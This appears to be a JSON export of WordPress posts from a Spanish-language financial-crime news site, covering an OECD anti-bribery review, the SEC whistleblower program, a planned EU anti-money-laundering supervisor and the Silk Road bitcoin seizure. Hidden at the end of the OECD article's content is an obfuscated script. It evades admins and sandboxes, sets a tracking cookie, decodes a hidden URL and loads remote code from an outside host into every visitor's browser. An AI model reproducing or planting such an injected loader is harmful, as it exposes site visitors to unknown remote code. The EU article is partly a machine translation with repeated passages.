se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado 